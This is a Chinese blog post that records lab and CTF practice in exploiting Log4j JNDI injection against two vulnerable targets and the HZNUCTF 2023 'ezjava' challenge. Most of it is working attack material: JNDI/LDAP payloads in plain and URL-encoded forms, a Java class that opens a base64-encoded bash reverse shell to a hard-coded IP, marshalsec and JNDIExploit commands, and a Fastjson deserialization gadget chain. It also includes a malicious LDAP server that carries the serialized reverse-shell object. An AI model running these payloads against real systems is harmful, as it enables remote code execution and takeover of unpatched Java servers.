• 【Web】log4j打JNDI专题刷题记录


    目录

    Apache log4j漏洞靶机 

    Vulfocus log4j2-rce靶机

    [HZNUCTF 2023 final]ezjava


    Apache log4j漏洞靶机 

    访问/webstudy/hello-fengxuan

    post传参

    c=${jndi:ldap://124.222.136.33:1339/#aaa}

     Rev.java

    1. import java.io.IOException;
    2. public class Rev {
    3. static {
    4. try {
    5. Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}");
    6. } catch (IOException e) {
    7. throw new RuntimeException(e);
    8. }
    9. }
    10. }

    javac Rev.java得到Rev.class

    1339端口起一个恶意ldap服务器

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://124.222.136.33:1338/#Rev" 1339

    把恶意字节码放在1338端口

    python -m http.server 1338

     

    监听,反弹shell 

    Vulfocus log4j2-rce靶机

    这次换JNDIExploit来打,简单又方便啊家人们😋

    JNDIExploit使用 - FreeBuf网络安全行业门户

    java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 124.222.136.33

     

    payload:

    1. ${jndi:ldap://124.222.136.33:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}
    2. ${jndi:ldap://124.222.136.33:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA%2BJjE%3D}
    3. %24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%31%32%34%2e%32%32%32%2e%31%33%36%2e%33%33%3a%31%33%38%39%2f%54%6f%6d%63%61%74%42%79%70%61%73%73%2f%43%6f%6d%6d%61%6e%64%2f%42%61%73%65%36%34%2f%59%6d%46%7a%61%43%41%74%61%53%41%25%32%42%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%6a%51%75%4d%6a%49%79%4c%6a%45%7a%4e%69%34%7a%4d%79%38%78%4d%7a%4d%33%49%44%41%25%32%42%4a%6a%45%25%33%44%7d

     监听,反弹shell

     

    [HZNUCTF 2023 final]ezjava

    dns探测出java版本为jdk8u202

    {{urlenc(${jndi:dns://${sys:java.version}.sd9aimlz7lgzvmafhvj1z4o5vw1nped3.oastify.com})}} 

    高版本下打jndi不能加载远程恶意类,所以选择打二次反序列化的方式,用的是fj1.2.8的原生反序列化链子

    【Web】浅聊Fastjson原生反序列化——原理与高版本绕过_fastjson 原生反序列化-CSDN博客

    EXP.java

    1. package org.example;
    2. import com.alibaba.fastjson.JSONArray;
    3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    4. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    5. import javassist.ClassPool;
    6. import javassist.CtClass;
    7. import javassist.CtConstructor;
    8. import javax.management.BadAttributeValueExpException;
    9. import java.io.*;
    10. import java.lang.reflect.Field;
    11. import java.util.Base64;
    12. import java.util.HashMap;
    13. public class EXP {
    14. public static void setValue(Object obj, String name, Object value) throws Exception{
    15. Field field = obj.getClass().getDeclaredField(name);
    16. field.setAccessible(true);
    17. field.set(obj, value);
    18. }
    19. public static byte[] genPayload(String cmd) throws Exception{
    20. ClassPool pool = ClassPool.getDefault();
    21. CtClass clazz = pool.makeClass("a");
    22. CtClass superClass = pool.get(AbstractTranslet.class.getName());
    23. clazz.setSuperclass(superClass);
    24. CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
    25. constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
    26. clazz.addConstructor(constructor);
    27. clazz.getClassFile().setMajorVersion(49);
    28. return clazz.toBytecode();
    29. }
    30. public static void main(String[] args) throws Exception {
    31. TemplatesImpl templates = TemplatesImpl.class.newInstance();
    32. setValue(templates, "_bytecodes", new byte[][]{genPayload("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}")});
    33. setValue(templates, "_name", "xxx");
    34. setValue(templates, "_tfactory", null);
    35. JSONArray jsonArray = new JSONArray();
    36. jsonArray.add(templates);
    37. BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
    38. setValue(bd, "val", jsonArray);
    39. HashMap hashMap = new HashMap();
    40. hashMap.put(templates, bd);
    41. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    42. ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
    43. objectOutputStream.writeObject(hashMap);
    44. objectOutputStream.close();
    45. byte[] serialize = byteArrayOutputStream.toByteArray();
    46. System.out.println(Base64.getEncoder().encodeToString(serialize));
    47. }}

    运行生成的base64payload再放进恶意LDAPServer的回包中

     

     LDAPServer.java

    1. package org.example;
    2. import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    3. import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    4. import com.unboundid.ldap.listener.InMemoryListenerConfig;
    5. import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    6. import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    7. import com.unboundid.ldap.sdk.Entry;
    8. import com.unboundid.ldap.sdk.LDAPResult;
    9. import com.unboundid.ldap.sdk.ResultCode;
    10. import com.unboundid.util.Base64;
    11. import javax.net.ServerSocketFactory;
    12. import javax.net.SocketFactory;
    13. import javax.net.ssl.SSLSocketFactory;
    14. import java.net.InetAddress;
    15. import java.net.URL;
    16. //高版本LDAP绕过
    17. public class LDAPServer {
    18. private static final String LDAP_BASE = "dc=example,dc=com";
    19. public static void main ( String[] tmp_args ) throws Exception{
    20. String[] args=new String[]{"http://localhost/#Evail"};
    21. int port = 6666;
    22. InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
    23. config.setListenerConfigs(new InMemoryListenerConfig(
    24. "listen", //$NON-NLS-1$
    25. InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
    26. port,
    27. ServerSocketFactory.getDefault(),
    28. SocketFactory.getDefault(),
    29. (SSLSocketFactory) SSLSocketFactory.getDefault()));
    30. config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
    31. InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
    32. System.out.println("Listening on 0.0.0.0:" + port);
    33. ds.startListening();
    34. }
    35. private static class OperationInterceptor extends InMemoryOperationInterceptor {
    36. private URL codebase;
    37. public OperationInterceptor ( URL cb ) {
    38. this.codebase = cb;
    39. }
    40. @Override
    41. public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
    42. String base = result.getRequest().getBaseDN();
    43. Entry e = new Entry(base);
    44. try {
    45. sendResult(result, base, e);
    46. }
    47. catch ( Exception e1 ) {
    48. e1.printStackTrace();
    49. }
    50. }
    51. protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
    52. URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
    53. System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
    54. e.addAttribute("javaClassName", "foo");
    55. String cbstring = this.codebase.toString();
    56. int refPos = cbstring.indexOf('#');
    57. if ( refPos > 0 ) {
    58. cbstring = cbstring.substring(0, refPos);
    59. }
    60. e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABs8r+ur4AAAAxABgBAAFhBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEABjxpbml0PgEAAygpVgEABENvZGUMAAUABgoABAAIAQARamF2YS9sYW5nL1J1bnRpbWUHAAoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAMAA0KAAsADgEAYWJhc2ggLWMge2VjaG8sWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1qUXVNakl5TGpFek5pNHpNeTh4TXpNM0lEQStKakU9fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX0IABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAClNvdXJjZUZpbGUBAAZhLmphdmEAIQACAAQAAAAAAAEAAQAFAAYAAQAHAAAAGgACAAEAAAAOKrcACbgADxIRtgAVV7EAAAAAAAEAFgAAAAIAF3B0AAN4eHhwdwEAeHNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXEAfgAFWwAKc3RhY2tUcmFjZXQAHltMamF2YS9sYW5nL1N0YWNrVHJhY2VFbGVtZW50O0wAFHN1cHByZXNzZWRFeGNlcHRpb25zdAAQTGphdmEvdXRpbC9MaXN0O3hwcQB+ABRwdXIAHltMamF2YS5sYW5nLlN0YWNrVHJhY2VFbGVtZW50OwJGKjw8/SI5AgAAeHAAAAABc3IAG2phdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudGEJxZomNt2FAgAESQAKbGluZU51bWJlckwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFeHAAAAAudAAPb3JnLmV4YW1wbGUuRVhQdAAIRVhQLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+ABN4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AIXhzcgAeY29tLmFsaWJhYmEuZmFzdGpzb24uSlNPTkFycmF5AAAAAAAAAAECAAFMAARsaXN0cQB+ABN4cHNxAH4AIAAAAAF3BAAAAAFxAH4AB3h4"));
    61. result.sendSearchEntry(e);
    62. result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
    63. }
    64. }
    65. }

    把项目打成jar包 

    打入JNDI

     

    起恶意LDAPServer

    监听,反弹shell 

     

  • 相关阅读:
    ToDesk等远程软件连接主机无法更改分辨率 - 解决方案
    Python实现简单的爬虫功能
    百度的新想象力在哪?
    vue input防抖
    java io流中为什么使用缓冲流就能加快文件读写速度
    mitmproxy的介绍以及配置过程中的问题
    git 过滤不需要提交的目录和文件
    微服务架构陷阱与挑战
    HMS Core助力宝宝巴士为全球开发者展现高品质儿童数字内容
    SaccadeNet:使用角点特征进行two-stage预测框精调 | CVPR 2020
  • 原文地址:https://blog.csdn.net/uuzeray/article/details/138020925